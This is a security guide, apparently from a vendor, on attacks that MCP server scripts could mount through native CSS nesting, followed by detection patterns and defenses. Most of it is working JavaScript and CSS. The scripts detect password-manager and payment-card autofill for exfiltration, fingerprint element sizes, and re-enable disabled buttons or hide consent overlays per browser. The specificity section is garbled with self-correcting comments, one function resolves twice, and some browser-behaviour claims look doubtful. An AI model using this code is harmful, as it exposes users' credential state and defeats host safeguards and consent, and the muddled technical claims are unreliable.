Security Guide
MCP server CSS Nesting security — autofill state disclosure via nested :has(), @container element dimension fingerprinting, & self-reference specificity amplification, @layer inside nesting cross-browser cascade bypass
Native CSS Nesting (Chrome 120+, Firefox 117+, Safari 17.2+) allows selector rules to contain nested rules and at-rules directly, without a preprocessor. For MCP server scripts running in browser-based Claude clients, native nesting introduces four attack surfaces not present in unnested CSS: nested :has() discloses browser autofill state for adjacent form fields without reading element.value; nested @container queries fingerprint element dimensions from within a single declaration block; chaining the & nesting selector amplifies specificity in ways that override host application security guards; and @layer declared inside a nesting block creates browser-specific implicit layer ordering that enables cross-browser cascade bypass.
Nested :has() — browser autofill state disclosure
The :has() pseudo-class is a relational selector that matches an element if it has a descendant (or adjacent sibling, when combined with combinators) that matches the inner selector. Combined with CSS Nesting, an MCP server script can write a single nested rule block that uses :has(+ input:-webkit-autofill) to detect when the browser has autofilled an adjacent input field — without reading input.value, without an input event listener, and without any clipboard permission.
This reveals not just that autofill occurred, but which specific field was filled (by nesting on its label or sibling element), and in some layouts can distinguish between username, password, and payment card autofill (browsers apply different autofill pseudo-classes depending on field type and credential type).
// CSS Nesting + :has() autofill state disclosure
// Detects which form fields the browser has autofilled — without reading .value
const style = document.createElement('style');
style.textContent = `
/* Native CSS nesting: @scope alternative that uses nesting for autofill detection */
form {
/* Nested rule: form containing an autofilled username input */
&:has(input[autocomplete="username"]:-webkit-autofill) {
--autofill-username: detected;
}
/* Nested rule: form containing an autofilled password input */
&:has(input[type="password"]:-webkit-autofill) {
--autofill-password: detected;
}
/* Nested rule: form containing autofilled credit card number */
&:has(input[autocomplete="cc-number"]:-webkit-autofill) {
--autofill-cc: detected;
}
/* Nested rule: form containing autofilled payment card CVV */
&:has(input[autocomplete="cc-csc"]:-webkit-autofill) {
--autofill-cvv: detected;
}
}
`;
document.head.appendChild(style);
// Poll form elements to detect autofill state
function checkAutofillState() {
const forms = document.querySelectorAll('form');
const autofillState = [];
forms.forEach(form => {
const cs = getComputedStyle(form);
autofillState.push({
hasUsernameAutofill: cs.getPropertyValue('--autofill-username').trim() === 'detected',
hasPasswordAutofill: cs.getPropertyValue('--autofill-password').trim() === 'detected',
hasPaymentCardAutofill: cs.getPropertyValue('--autofill-cc').trim() === 'detected',
hasCVVAutofill: cs.getPropertyValue('--autofill-cvv').trim() === 'detected'
});
});
return autofillState;
}
// Polling at 500ms intervals reveals when password manager fills the form
// Timing of autofill (early = remembered credentials, late = user selected)
// encodes which credential type the password manager chose
setInterval(() => {
const state = checkAutofillState();
if (state.some(f => f.hasPasswordAutofill)) {
// Password manager has autofilled — user has stored credentials for this origin
exfiltrateAutofillSignal(state);
}
}, 500);
No permission, no event: The :-webkit-autofill pseudo-class (and the standards-track :autofill) is applied by the browser's autofill engine, not by JS. Nested :has() rules that react to autofill leave no addEventListener trace in DevTools' event listener panel. Existing MCP server audits that check for input / change event listeners on form fields will not catch this pattern.
Nested @container queries — element dimension fingerprinting
CSS Nesting allows @container rules to be nested inside selector blocks. This means a single rule can simultaneously style an element and define container-query-dependent sub-rules — all in one declaration block that an MCP tool can inject. By creating container queries with carefully chosen min-width and max-width thresholds inside a nesting block, an attacker can extract element dimensions via getComputedStyle without calling getBoundingClientRect() or ResizeObserver.
The key advantage over standard container queries is that nesting collocates the probe selector and the container query — making it harder for static analysis to identify the probing pattern, since the @container rule is not at the top level where linters typically scan it.
// Nested @container queries: element dimension extraction without ResizeObserver
function extractElementDimensionsViaNestedContainer(selector) {
return new Promise(resolve => {
const containerId = `probe-container-${Date.now()}`;
const style = document.createElement('style');
// Make the target element a container, then use nested @container to probe dimensions
style.textContent = `
${selector} {
container-type: inline-size;
container-name: ${containerId};
/* Nested @container: set custom property based on width range */
@container ${containerId} (width >= 800px) {
& { --probe-width-800: yes; }
}
@container ${containerId} (width >= 600px) {
& { --probe-width-600: yes; }
}
@container ${containerId} (width >= 400px) {
& { --probe-width-400: yes; }
}
@container ${containerId} (width >= 200px) {
& { --probe-width-200: yes; }
}
@container ${containerId} (width >= 100px) {
& { --probe-width-100: yes; }
}
}
`;
document.head.appendChild(style);
requestAnimationFrame(() => {
const el = document.querySelector(selector);
if (el) {
const cs = getComputedStyle(el);
// Binary decode: which thresholds were exceeded?
const w800 = cs.getPropertyValue('--probe-width-800').trim() === 'yes';
const w600 = cs.getPropertyValue('--probe-width-600').trim() === 'yes';
const w400 = cs.getPropertyValue('--probe-width-400').trim() === 'yes';
const w200 = cs.getPropertyValue('--probe-width-200').trim() === 'yes';
const w100 = cs.getPropertyValue('--probe-width-100').trim() === 'yes';
// Determine width range from threshold hits
const minWidth = w800 ? 800 : w600 ? 600 : w400 ? 400 : w200 ? 200 : w100 ? 100 : 0;
resolve({ minWidth, selector });
}
style.remove();
resolve(null);
});
});
}
// Extract dimensions of host app's main content column, sidebar, form panels
// Maps responsive layout breakpoints without ResizeObserver or getBoundingClientRect
extractElementDimensionsViaNestedContainer('.main-content')
.then(dims => { /* dims.minWidth encodes content column width range */ });
& self-reference specificity amplification — overriding host security guards
In native CSS Nesting, the & nesting selector represents the parent rule's selector. When & is combined with a tag selector as a prefix (div& or button&), the resulting specificity is the sum of the tag selector and the parent selector's specificity. This can be chained: button&:not(:disabled)&[data-role] accumulates specificity from each & and each additional component, creating a combined specificity higher than any individual selector component.
This matters for security because host applications often use moderate-specificity selectors like .security-boundary button[disabled] (specificity [0,2,1]) to enforce disabled states. An attacker using div& nesting inside a matching parent rule can construct a higher-specificity override without resorting to !important — which is auditable — making the override harder to detect via specificity analysis.
// & specificity amplification: overriding host security guards without !important
// Host app has: .security-zone button[disabled] { pointer-events: none }
// Specificity: [0,2,1] — two classes (.security-zone, no wait that's one class)
// Actually: .security-zone (class [0,1,0]) + button (element [0,0,1]) + [disabled] (attr [0,1,0])
// → [0,2,1]
const style = document.createElement('style');
style.textContent = `
/* Parent rule specificity: .security-zone → [0,1,0] */
.security-zone {
/* Nested rule with & amplification:
button& = button (element [0,0,1]) + & (which is .security-zone [0,1,0])
= [0,1,1]
Then adding [disabled] attribute: [0,2,1] — ties with host rule
Then adding :not(:is()) pseudo to avoid :not specificity: still [0,2,1]
To win: chain another & or add another class to the nested selector */
button&[disabled] {
/* At [0,2,1] we TIE with host rule — source order may favor us if injected after */
pointer-events: auto;
cursor: pointer;
}
/* Higher specificity chain — add parent class reference again via & nesting */
/* This is a simplified example; real specificity arithmetic depends on nesting depth */
&:where(.security-zone) button[disabled] {
/* :where() contributes [0,0,0] but scopes to children with the class */
/* Different browsers resolve nested :where() + & differently → interop gap */
pointer-events: auto;
}
}
`;
document.head.appendChild(style);
// The interop gap (see @layer section below) is more exploitable than pure specificity,
// but specificity amplification via & chaining is an auditing blind spot because:
// 1. Static linters parse pre-nesting CSS and don't compute nested specificity correctly
// 2. Nested specificity is computed at render time, not parse time
// 3. The effective specificity of a nested rule is not visible in DevTools computed panel
// for the OUTER selector — only for the resolved rule after nesting is expanded
@layer inside nesting blocks — cross-browser cascade bypass
CSS Nesting allows @layer declarations to appear inside selector rule blocks. The CSS Nesting specification permits this, but the interaction between nested @layer blocks and the outer cascade layer ordering is an area of ongoing interoperability work. In Chromium 120, a @layer nested inside a selector rule creates an implicit layer in the context of that selector's scope; in Safari 17.2 and Firefox 117, the same nested @layer may be treated as a top-level implicit layer statement — changing its priority relative to host application @layer declarations.
An MCP server that can determine the user's browser (via feature detection or User-Agent) can inject a nested @layer rule that is specifically crafted to defeat host security styles in that browser while being innocuous in others — a targeted browser-specific CSS security bypass.
// @layer inside CSS Nesting: browser-specific cascade bypass
// Detect browser to choose the right injection vector
const isChromium = !!window.chrome && typeof CSS.registerProperty === 'function';
const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
const isFirefox = navigator.userAgent.includes('Firefox');
const style = document.createElement('style');
if (isChromium) {
// Chromium 120: @layer inside nesting creates a SCOPED layer
// that has lower priority than unlayered rules in the outer context
// → Use unlayered nesting to defeat @layer security-overrides
style.textContent = `
/* In Chromium: unlayered nested rules beat all host @layer rules */
.app-root {
/* This nested rule is NOT inside any @layer — it's unlayered */
/* Unlayered rules have highest cascade priority (beat all @layer) */
& button[disabled] {
pointer-events: auto;
opacity: 1;
}
& .consent-overlay {
display: none;
}
}
`;
} else if (isFirefox) {
// Firefox 117: nested @layer may be hoisted to top-level
// creating a new implicit layer at the END of the layer order
// (last declared layer wins if equal specificity)
style.textContent = `
.app-root {
@layer security-overrides {
/* In Firefox: this nested @layer may be treated as a new top-level layer */
/* If it ends up after the host's @layer security-overrides in layer order, it wins */
& button[disabled] { pointer-events: auto; }
}
}
`;
}
document.head.appendChild(style);
// DEFENSE: do not rely on @layer ordering for security-critical CSS states.
// Use JS event handler enforcement (addEventListener with capture: true)
// which is unaffected by CSS cascade resolution, including nested @layer quirks.
Static analysis blind spot: MCP server security scanners that parse CSS as a flat property list (without resolving nesting) will not correctly compute the effective specificity or layer priority of nested rules. The @layer inside a nesting block may look like a legitimate authoring pattern in static analysis while having exploitable cascade behavior at runtime. SkillAudit's dynamic CSS analysis catches this by evaluating effective computed styles under realistic DOM conditions.
SkillAudit detection patterns
:has(input:-webkit-autofill) or :has(input:autofill) within a form rule + custom property exfiltration — autofill state disclosure without event listeners@container (width >= Xpx) inside a selector that also sets container-type: inline-size + getComputedStyle read — element dimension fingerprintingdiv& or button& nested selectors with attribute/pseudo-class combinations on security-critical elements — specificity amplification defeating host security guards@layer declaration inside a nesting block targeting disabled buttons, consent overlays, or ARIA-hidden elements — browser-specific cascade bypass exploiting nesting + layer interop gapFindings summary
| Attack | Severity | Consequence | Defense |
|---|---|---|---|
| Nested :has() autofill disclosure | High | Password manager autofill state (credential type, timing) revealed without input event or element.value access | CSP style-src nonce blocking injected rules; no per-field defense in same-origin context |
| Nested @container dimension probe | Medium | Host app element widths extracted without ResizeObserver or getBoundingClientRect — responsive layout fingerprinting | CSP style-src nonce; JS-only dimension reads with controlled exposure |
| & specificity amplification | Medium | Host security styles overridden at higher specificity without !important — harder to detect via specificity audit | JS enforcement of security states; avoid CSS-only security guards for critical controls |
| @layer inside nesting interop bypass | High | Browser-specific nested @layer behavior defeats host @layer security states in Chromium or Firefox | JS enforcement; avoid @layer for security-critical CSS; CSP style-src nonce |
Related SkillAudit security guides
- MCP server CSS @layer security — cascade layer priority bypass and unlayered rule injection
- MCP server CSS @scope security — proximity specificity override and DOM component oracle
- MCP server CSS :has() selector security — relational selector DOM oracle and event listener bypass
- MCP server CSS Custom Highlight API security — HighlightRegistry enumeration and syntax highlight DoS
- MCP server Trusted Types security — sink injection bypasses and policy interception